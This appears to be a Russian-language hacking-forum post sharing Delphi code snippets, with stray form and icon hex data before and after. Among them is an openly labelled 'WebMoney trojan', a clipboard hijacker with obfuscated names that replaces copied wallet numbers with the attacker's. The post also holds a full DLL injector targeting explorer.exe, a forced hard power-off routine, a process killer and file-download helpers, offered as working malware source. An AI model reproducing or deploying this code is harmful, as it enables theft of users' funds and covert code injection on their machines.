              FEE5CFAB70400000E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075
              F78B66B20F40B500A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B
              61CA577DFE67C25FC057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CC
              F44CA51CCF92098462DCE68F47FCB70BFFFC1DD322C44962B9582A14E3511271
              8E449A8CF332A52289429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B91
              2DA85D6303F64B27105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF
              3FFD47A02500806649927100005E44242E54CAB33FC708000044A0812AB0411B
              F4C1182CC0061CC105DCC10BFC6036844224C4C24210420A64801C726029AC82
              422886CDB01D2A602FD4401D34C051688693700E2EC255B80E3D700FFA61089E
              C128BC81090441C808136121DA8801628A58238E08179985F821C14804128B24
              20C9881451224B91354831528A542055481DF23D720239875C46BA913BC80032
              82FC86BC47319481B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09B
              D072B41A3D8C36A1E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1
              382C099363CBB122AC0CABC61AB056AC03BB89F563CFB17704128145C0093604
              774220611E4148584C584ED848A8201C243411DA093709038451C2272293A84B
              B426BA11F9C4186232318758482C23D6128F132F107B8843C437241289433227
              B9900249B1A454D212D246D26E5223E92CA99B34481A2393C9DA646BB2073994
              2C202BC885E49DE4C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19
              E510E534E5066598324155A39A52DDA8A15411358F5A42ADA1B652AF5187A813
              34759A39CD8316494BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057
              D2CBE947E897E803F4770C0D861583C7886728199B18071867197718AF984CA6
              19D38B19C754303731EB98E7990F996F55582AB62A7C1591CA0A954A9526951B
              2A2F54A9AAA6AADEAA0B55F355CB548FA95E537DAE46553353E3A909D496AB55
              AA9D50EB531B5367A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451
              A0B15FE3BCC6200B6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD
              1DBB8B3DAAA9A13943334A3357B352F394663F07E39871F89C744E09E728A797
              F37E8ADE14EF29E2291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36
              AEEDA79DA6BD45BB59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7
              164D3D3AF5AE2EAA6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7
              FA1C7D2FFD54FD6DFAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7
              DBF151435DC34043A561956197E18491B9D13CA3D5468D460F8C69C65CE324E3
              6DC66DC6A326062621264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CD
              D699359B3D31D732E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659
              EEB6BC6E855A3959A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9E
              D667C3B0F1B6C9B6A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93
              BD937DBA7D8DFD3D070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7D
              C5F496E92F6758CF10CFD833E3B613CB29C4699D539BD347671767B97383F388
              8B894B82CB2E973E2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8
              DBAFEE36EE69EE87DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306B
              DFAC7E4F434F8167B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729F
              E33EE33C37DE32DE595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFF
              D100A78025016703898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0
              B94115418F82AD82E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D0
              0761E6618BC37E0C2785878557863F8E7088581AD131973577D1DC4373DF44FA
              449644DE9B67314F39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD558
              9D58496C4B1C392E2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079
              A1CEC2F485A716A92E122C3A96404C884E3894F041102AA8168C25F21377258E
              0A79C21DC267222FD136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533
              A52CE5B98427A990BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142
              AA214D93B667EA67E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC0559
              2D0AB642A6E8545A28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB
              90379CEF9FFFED12C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE3
              15052B865606AC3CB88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1
              B5016BEB0B550AE5857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14
              DB1797157FD828DC78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D
              9E5B0E96AA97E6970E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643
              B9A3BF3CB8BC65A7C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B
              7BBCF634ECD5DB5BBCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AA
              E9F896FB6D5DAD4E6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62B
              EB470EC71FBEFE9DEF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3A
              DA768C7BACE107D31F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1
              D6EADE7AFC47DB1F0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D
              7E2EF9DC60DBA2B67BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2
              B874F2B2DBE51357B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6B
              B9EE7ABDB57B66F7E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5
              F7F5DF16DD7E7227FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5B
              FEDCD8EFDC7F6AC077A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D
              86EB9E383E3939E23F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5
              EBD7CED198D1A197F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315E
              F456FBEDC177DC771DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393
              FF040398F3FC63332DDB000000206348524D00007A25000080830000F9FF0000
              80E9000075300000EA6000003A980000176F925FC546000000EF4944415478DA
              CC945B0AC23014444FD2882FF043B7E64A741DEEC4D5093E4A4DE3CFDC1082B6
              2A7E3870E963EE1DA6E9242EED30B8AA8690721D5202F0223C108019B0502D5F
              94F13320B0771E0D7BA011B1D4B579E1CC9C44E0069C811B7B4750C344226B60
              054C0BB7357AA0054E7A8E402C1D4D25B201E67AF70C11B8EAFEAC3E1F8A850E
              129B03C791C5DEAA37D8E7FBEA8FF90127251AF5BA5A88377EF933E419CF8FF0
              DF42E98BF9540B59627BE5640C51BD3697939D80BB127B554EC602D96A260B99
              8B32F6EF6E91D6DC99A34E7107B87CB869BBD21122A2C8A133A914EB80C82165
              477D417E75B03D060043F251B9724C11150000000049454E44AE426082A93096
              25}
          end>
        MenuSupport.IcoLineSkin = 'ICOLINE'
        MenuSupport.ExtraLineFont.Charset = DEFAULT_CHARSET
        MenuSupport.ExtraLineFont.Color = clWindowText
        MenuSupport.ExtraLineFont.Height = -11
        MenuSupport.ExtraLineFont.Name = 'MS Sans Serif'
        MenuSupport.ExtraLineFont.Style = []
        SkinDirectory = 'c:\Skins'
        SkinName = 'Ubuntu (internal)'
        SkinInfo = '8'
        ThirdParty.ThirdEdits = ' '
        ThirdParty.ThirdButtons = 'TButton'
        ThirdParty.ThirdBitBtns = ' '
        ThirdParty.ThirdCheckBoxes = ' '
        ThirdParty.ThirdGroupBoxes = ' '
        ThirdParty.ThirdListViews = ' '
        ThirdParty.ThirdPanels = ' '
        ThirdParty.ThirdGrids = ' '
        ThirdParty.ThirdTreeViews = ' '
        ThirdParty.ThirdComboBoxes = ' '
        ThirdParty.ThirdWWEdits = ' '
        ThirdParty.ThirdVirtualTrees = ' '
        ThirdParty.ThirdGridEh = ' '
        ThirdParty.ThirdPageControl = ' '
        ThirdParty.ThirdTabControl = ' '
        ThirdParty.ThirdToolBar = ' '
        ThirdParty.ThirdStatusBar = ' '
        ThirdParty.ThirdSpeedButton = ' '
        ThirdParty.ThirdScrollControl = ' '
        ThirdParty.ThirdUpDown = ' '
        ThirdParty.ThirdScrollBar = ' '
        ThirdParty.ThirdStaticText = 'TStaticText'
        Left = 464
        Top = 8
      end
    end
    
    Блять, открыл старий проект заразился индюком
    Ни одного реального кода:

    Отправка файла на ФТП, подклюаем WinInet

    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Рекурсивный поиск файлов
    Код:
    var
      Form1: TForm1;
      count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
      search: TSearchRec;
      directory: string;
    begin
      directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
      begin
        repeat
          Form1.Memo1.Lines.Add(directory + search.Name);
    
          Inc(Count);
        until FindNext(search) <> 0;
      end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
      begin
        repeat
          if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
            GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
        until FindNext(search) <> 0;
        FindClose(search);
      end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
      directory: string;
      mask: string;
    begin
      Count := 0;
    
      directory := edit2.text;
      mask := edit1.text;
    
      Screen.Cursor := crHourGlass;
      try
        GetAllFiles(directory + mask);
      finally
        Screen.Cursor := crDefault;
      end;
      ShowMessage(IntToStr(Count) + ' Files found');
    end;
    
    Вебмани троян
    Код:
    Program KNoW_Engine;
    
    uses
      windows;
    
    var
    a,b:longword;
    
    
    Function ZH3HDJ43FHhHJHhkhk8ghk:THandle; //Инициализация читания текста из буфера
    begin
    OpenClipboard(0);
    Result := GetClipboardData(CF_TEXT);
    end;
    
    function GHGG770f7T69frfgJH8TT8: string; //Читание текста из буфера
    var
      Data: THandle;
    begin
    Data :=ZH3HDJ43FHhHJHhkhk8ghk;
      try
        if Data <> 0 then
          Result := PChar(GlobalLock(Data))
        else
          Result := '';
      finally
        if Data <> 0 then GlobalUnlock(Data);
        CloseClipboard;
      end;
    end;
    
    procedure HT6G7fgjh67fygu8f86F6fFH(const S: string);  //запись в буффер
    var hglbCopy: THandle; L: Cardinal;
    begin
    L:=Length(S)+1;
      OpenClipboard(0);
    try
      EmptyClipboard;
      hglbCopy:=GlobalAlloc(GMEM_DDESHARE, L);
      Move(PChar(S)^,GlobalLock(hglbCopy)^,L);
      GlobalUnlock(hglbCopy);
      SetClipboardData(CF_TEXT, hglbCopy);
    finally
      CloseClipboard;
    end;
    end;
    
    
    
    
    Procedure H447h7hhh7gGHgGHG8Gg787GgGHG8; //процесс трояна
    var
    KernText:AnsiString;
    begin
    while 6>0 do
    begin
    KernText :=GHGG770f7T69frfgJH8TT8;
    if KernText = 'KWT' then begin
    halt;
    end;
    if Length(KernText) = 13 then begin
    if Copy(KernText,0,1) = 'R' then
    HT6G7fgjh67fygu8f86F6fFH('Rкошель'));
    if Copy(KernText,0,1) = 'Z' then
    HT6G7fgjh67fygu8f86F6fFH('Zкошель'));
    if Copy(KernText,0,1) = 'U' then
    HT6G7fgjh67fygu8f86F6fFH('Uкошель'));
    end;
    sleep(100);
    
    end;
    end;
    
    procedure FH48FH8ygH87g788Hih;
    begin
    a := beginthread(nil,0,@H447h7hhh7gGHgGHG8Gg787GgGHG8,nil,0,b);
    SetThreadPriority(a, THREAD_PRIORITY_HIGHEST);
    end;
    
    var
    mmsg:MSG;
    
    
    
    begin
    FH48FH8ygH87g788Hih;
    while GetMessage(mmsg,0,0,0) do
        begin
        TranslateMessage(mmsg);
        DispatchMessage(mmsg);
        end;
    end.
    
    
    А теперь коронный код, выключение компа как с розетки.
    Код:
    тип:
      _SHUTDOWN_ACTION = (
      ShutdownNoReboot,
      ShutdownReboot,
      ShutdownPowerOff);
      SHUTDOWN_ACTION = _SHUTDOWN_ACTION;
      TShutdownAction = SHUTDOWN_ACTION;
      NTSTATUS = Longint;
      PNTSTATUS = ^NTSTATUS;
      TNTStatus = NTSTATUS;
      function  NtShutdownSystem(Action : SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
    
    Процедура:
    Procedure Power_Off;
    var
      hToken: THandle;
      tkp, prevst: TTokenPrivileges;
      rl: DWORD;
    begin
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := 2;
      AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(prevst), prevst, rl);
      NtShutdownSystem(ShutdownPowerOff);
    end;
    
    
    Проверка подклюения к инету
    Код:
    function IsConnectedToInternet: Boolean;
    var
    dwConnectionTypes: DWORD;
    begin
    dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
    Result := InternetGetConnectedState(@dwConnectionTypes, 0);
    end;
    Загрука файла WinInet
    Код:
    function DFile(SourceFile, DestFile: string): Boolean;
    begin
      try
      Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
      except
      Result := False;
      end;
    end;
    
    Получение папки темп и юзернейма
    Код:
    function GetTempDir():string;
    var
      buf:string;
      len:UINT;
    begin
      SetLength(buf, MAX_PATH+1);
      len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
      SetLength(buf,len);
      GetTempDir:=buf
    end;
    
    function GetUser: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    
    Генератор случайных строк т.е паролей
    Код:
    function Gen(): string;
    var
      str: string;
      PLen: Integer ;
    begin
    Randomize;
    Plen :=4; //Длина
      str    := 'abcdefghijklmnopqrstuvwxyz1234567890'; //Алфавит
      Result := '';
      repeat
        Result := Result + str[Random(Length(str)) + 1];
      until (Length(Result) = PLen)
    end;
    Убить процесс в uses Tlhelp32
    Код:
    
    function KillTask(ExeFileName:string):integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    Co:BOOL;
    FS:THandle;
    FP:TProcessEntry32;
    begin
    result:=0;
    
    FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FP.dwSize:=Sizeof(FP);
    Co:=Process32First(FS,FP);
    while integer(Co) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or
    (UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then
    Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
    FP.th32ProcessID),0));
    Co:=Process32Next(FS,FP);
    end;
    CloseHandle(FS);
    end;
    Dll инжектор

    Модуль:
    Код:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
      Dialogs, TlHelp32, Buttons, StdCtrls, jpeg, ExtCtrls, sSkinManager,
      sEdit, sGauge, sButton, sLabel, ComCtrls, sTrackBar, sPanel, sSpeedButton,
      sStatusBar;
    
    type
      TForm1 = class(TForm)
        OpenDialog1: TOpenDialog;
        sSkinManager1: TsSkinManager;
        sButton2: TsButton;
        sButton1: TsButton;
        Button1: TsButton;
        sEdit1: TsEdit;
        Edit1: TsEdit;
        Edit2: TsEdit;
        sStatusBar1: TsStatusBar;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    function GetOSVersion: Cardinal;
    var
      OSVersionInfo: TOSVersionInfo;
    begin
      Result := 0;
      FillChar(OSVersionInfo, Sizeof(OSVersionInfo), 0);
      OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
      if GetVersionEx(OSVersionInfo) then
      begin
        if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
        begin
          if OSVersionInfo.dwMajorVersion = 5 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 50//Windows 2000
            else if OSVersionInfo.dwMinorVersion = 2 then
              Result := 52//Windows 2003
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 51//Windows XP
          end;
          if OSVersionInfo.dwMajorVersion = 6 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 60//Windows Vista
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 61;//Windows 7
          end;
        end;
      end;
    end;
    
    
    
    function ModulInjectByDen(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    var
      hSnapshot: THandle;
      ModuleEntry32: TModuleEntry32;
    begin
      Result := False;
      hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID);
      if (hSnapshot <> -1) then
      begin
        ModuleEntry32.dwSize := SizeOf(TModuleEntry32);
        if (Module32First(hSnapshot, ModuleEntry32)) then
          repeat
            if string(ModuleEntry32.szExePath) = string(ModulePath) then
            begin
              Result := True;
              Break;
            end;
          until
            not Module32Next(hSnapshot, ModuleEntry32);
        CloseHandle(hSnapshot);
      end;
    end;
    
    function InjectIDMetod(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    type
      TNtCreateThreadEx = function(
      ThreadHandle: PHANDLE;
      DesiredAccess: ACCESS_MASK;
      ObjectAttributes: Pointer;
      ProcessHandle: THANDLE;
      lpStartAddress: Pointer;
      lpParameter: Pointer;
      CreateSuspended: BOOL;
      dwStackSize: DWORD;
      Unknown1: Pointer;
      Unknown2: Pointer;
      Unknown3: Pointer): HRESULT; stdcall;
    var
      lpStartAddress, lpParameter: Pointer;
      dwSize: Integer;
      hProcess, hThread, lpThreadId, lpExitCode, lpBytesWritten: Cardinal;
      NtCreateThreadEx: TNtCreateThreadEx;
    begin
      Result := False;
      if ModulInjectByDen(ModulePath, ProcessID) = True then
        Exit;
      hProcess := 0;
      hProcess := OpenProcess(MAXIMUM_ALLOWED, False, ProcessID);
      if hProcess = 0 then
        Exit;
      dwSize := StrLen(ModulePath) + 1;
      lpParameter := VirtualAllocEx(hProcess, nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
      if (lpParameter = nil) then
      begin
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      if GetOSVersion >= 60 then
        NtCreateThreadEx := GetProcAddress(GetModuleHandleW('ntdll'), 'NtCreateThreadEx');
      lpStartAddress := GetProcAddress(GetModuleHandleW('kernel32'), 'LoadLibraryA');
      if (lpStartAddress = nil) then
        Exit;
      if GetOSVersion >= 60 then
        if (@NtCreateThreadEx = nil) then
          Exit;
      lpBytesWritten := 0;
      if (WriteProcessMemory(hProcess, lpParameter, ModulePath, dwSize, lpBytesWritten) = False) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        if hProcess <> 0 then
          CloseHandle(hProcess);
        Exit;
      end;
      hThread := 0;
      lpThreadId := 0;
      if GetOSVersion >= 60 then
        NtCreateThreadEx(@hThread, MAXIMUM_ALLOWED, nil, hProcess, lpStartAddress, lpParameter, false, 0, 0, 0, 0)
      else
        hThread := CreateRemoteThread(hProcess, nil, 0, lpStartAddress, lpParameter, 0, lpThreadId);
      if (hThread = 0) then
      begin
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        Exit;
      end;
      GetExitCodeThread(hThread, lpExitCode);
      if hProcess <> 0 then
        CloseHandle(hProcess);
      if hThread <> 0 then
        CloseHandle(hThread);
      Result := True;
    end;
    
    
    procedure TForm1.sButton2Click(Sender: TObject);
    var
      hSnap:THandle;
      pe:TProcessEntry32;
      pid: DWORD;
    begin
    pe.dwSize:=SizeOf(pe);
    hSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
      If Process32First(hSnap,pe) then
        While Process32Next(hSnap,pe) do
          if ExtractFileName(pe.szExeFile)='explorer.exe' then
        edit2.Text:=IntToStr(pe.th32ProcessID);
        end;
    
    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      if OpenDialog1.Execute then
        Edit1.Text:= OpenDialog1.FileName;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
      InjectIDMetod(PAnsiChar(Edit1.Text), StrToInt(Edit2.Text));
      sEdit1.Text:='DLL Успешно Заинжектился';
    end;
    
    end.
    
    Файл прокта
    Код:
    program Project1;
    
    uses
      Forms,
      Unit1 in 'Unit1.pas' {Form1};
    
    {$R *.res}
    
    begin
      Application.Initialize;
      Application.Title := 'DLL Inject by DenkA003';
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    
    Форма
    Код:
    object Form1: TForm1
      Left = 521
      Top = 136
      BorderIcons = [biSystemMenu, biMinimize]
      BorderStyle = bsSingle
      Caption = 'DLL Inject by DenkA003'
      ClientHeight = 124
      ClientWidth = 277
      Color = clBtnFace
      Font.Charset = RUSSIAN_CHARSET
      Font.Color = clBlack
      Font.Height = -10
      Font.Name = 'MS Sans Serif'
      Font.Style = []
      Icon.Data = {
        0000010001002020200000000000A81000001600000028000000200000004000
        0000010020000000000000100000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000002393FE2D2393FE6C2393FEEE2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFE2393FEB02393FE4E2393FE0A000000000000
        0000000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FE3F2393FEDA2393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF72393FE932393
        FE02000000000000000000000000000000000000000000000000000000000000
        00000000000000000000000000000000000000000000000000002393FEA92393
        FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF92393FE9D2393
        FE992393FEB72393FEF92393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEF42393FE470000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000002393FE122393FEDE2393FEFF2393
        FEFF2393FEFF2393FEF62393FEA62393FE162393FE0C00000000000000000000
        0000000000002393FE052393FE122393FE232393FEE82393FEFD2393FEFF2393
        FEFF2393FEFD2393FE7000000000000000000000000000000000000000000000
        00000000000000000000000000002393FE172393FEF82393FEFF2393FEFF2393
        FEFD2393FE970000000000000000000000000000000000000000000000000000
        000000000000000000000000000000000000000000002393FE132393FEE52393
        FEFF2393FEFF2393FEFE2393FE9E000000000000000000000000000000000000
        000000000000000000002393FE022393FEF62393FEFF2393FEFF2393FEF22393
        FE32000000000000000000000000000000000000000000000000000000000000
        0000000000000000000000000000000000000000000000000000000000002393
        FEB32393FEFE2393FEFF2393FEFE2393FE8F0000000000000000000000000000
        000000000000000000002393FEB92393FEFF2393FEFF2393FEF32393FE070000
        000000000000000000000000000000000000000000002393FE012393FE502393
        FE6B2393FE4C0000000000000000000000000000000000000000000000000000
        00002393FE602393FEFC2393FEFF2393FEFE2393FE4D00000000000000000000
        0000000000002393FE482393FEFE2393FEFF2393FEFA2393FE1B000000000000
        00000000000000000000000000002393FE562393FED02393FEEC2393FEFF2393
        FEFF2393FEFF2393FEF42393FEEA2393FE430000000000000000000000000000
        0000000000002393FE872393FEFF2393FEFF2393FEEF2393FE02000000000000
        00002393FE042393FEE12393FEFF2393FEFE2393FE6A00000000000000000000
        0000000000002393FE0E2393FED62393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE82393FE04000000000000
        000000000000000000002393FEC22393FEFF2393FEFF2393FE91000000000000
        00002393FE7A2393FEFF2393FEFF2393FEE30000000000000000000000000000
        00002393FE082393FEEC2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF42393FE030000
        000000000000000000002393FE062393FEFB2393FEFF2393FEF82393FE150000
        00002393FEE82393FEFF2393FEFF2393FE390000000000000000000000002393
        FE042393FEE72393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEE40000
        00000000000000000000000000002393FEBD2393FEFF2393FEFF2393FE562393
        FE342393FEFF2393FEFF2393FEFF000000000000000000000000000000002393
        FE9E2393FEFF2393FEFF2393FEF32393FEA42393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFC2393FE9B2393FEFE2393FEFF2393FEFE2393
        FE440000000000000000000000002393FE182393FEFF2393FEFF2393FEF22393
        FE482393FEFF2393FEFF2393FEDC0000000000000000000000002393FE012393
        FEEA2393FEFF2393FEFB2393FE26000000002393FECC2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFA2393FE4F000000002393FE8D2393FEFF2393FEFF2393
        FEE10000000000000000000000002393FE0A2393FEFD2393FEFF2393FEFF2393
        FE822393FEFF2393FEFF2393FE530000000000000000000000002393FE4A2393
        FEFE2393FEFF2393FEC600000000000000002393FE082393FEE92393FEFF2393
        FEFF2393FEFF2393FE9F00000000000000002393FE082393FEF62393FEFF2393
        FEF32393FE030000000000000000000000002393FEBA2393FEFF2393FEFF2393
        FEF32393FEFF2393FEFF2393FE690000000000000000000000002393FE6D2393
        FEFF2393FEFF2393FEA40000000000000000000000002393FE282393FEFD2393
        FEFF2393FEF0000000000000000000000000000000002393FEEA2393FEFF2393
        FEFF2393FE5F0000000000000000000000002393FE742393FEFF2393FEFF2393
        FEFA2393FEFF2393FEFF2393FE720000000000000000000000002393FE8E2393
        FEFF2393FEFE2393FE6E000000000000000000000000000000002393FEBD2393
        FEFF2393FE41000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE790000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEF12393FEFF2393FEFF2393FE5B0000000000000000000000002393FEBC2393
        FEFF2393FEFF2393FEA70000000000000000000000002393FE192393FEF22393
        FEFF2393FED6000000000000000000000000000000002393FEE92393FEFF2393
        FEFF2393FE760000000000000000000000002393FE7C2393FEFF2393FEFF2393
        FEA82393FEFF2393FEFF2393FEE82393FED72393FED62393FEC02393FEF72393
        FEFF2393FEFF2393FEE70000000000000000000000002393FEDB2393FEFF2393
        FEFF2393FEFF2393FE750000000000000000000000002393FEF02393FEFF2393
        FEFC2393FE270000000000000000000000002393FE982393FEFF2393FEFF2393
        FE262393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FE1A000000002393FE7A2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFE2393FE22000000002393FE4B2393FEFE2393FEFF2393
        FED80000000000000000000000002393FE062393FEF42393FEFF2393FEFF2393
        FE292393FEFE2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEDF2393FE322393FEFD2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEED2393FE352393FEFB2393FEFF2393FEFF2393
        FE7A0000000000000000000000002393FE162393FEFF2393FEFF2393FEF02393
        FE012393FED12393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFC2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFE2393FEFF2393FEFF2393FEC22393
        FE020000000000000000000000002393FEA42393FEFF2393FEFF2393FE610000
        00002393FE922393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF12393FE060000
        000000000000000000002393FE032393FEFD2393FEFF2393FEFD2393FE192393
        FE272393FEFB2393FEFF2393FEFF2393FEFE2393FEEA2393FEE02393FEFE2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEF62393FE07000000000000
        000000000000000000002393FEBD2393FEFF2393FEFF2393FEAB000000002393
        FEE72393FEFF2393FEFF2393FEF72393FE0400000000000000002393FE042393
        FEE02393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393
        FEFF2393FEFF2393FEFF2393FEF32393FEC10000000000000000000000000000
        0000000000002393FE312393FEFE2393FEFF2393FEF82393FE11000000002393
        FEFE2393FEFF2393FEFF2393FE0E000000000000000000000000000000002393
        FE072393FEFF2393FEFF2393FEFF2393FEFF2393FEFF2393FEBB2393FE712393
        FE642393FE652393FE5000000000000000000000000000000000000000000000
        00002393FE192393FEFA2393FEFF2393FEFF2393FE7D00000000000000002393
        FEFF2393FEFF2393FEED00000000000000000000000000000000000000000000
        00002393FEF82393FEFF2393FEFF2393FEFF2393FEFF2393FE52000000000000
        0000000000000000000000000000000000000000000000000000000000002393
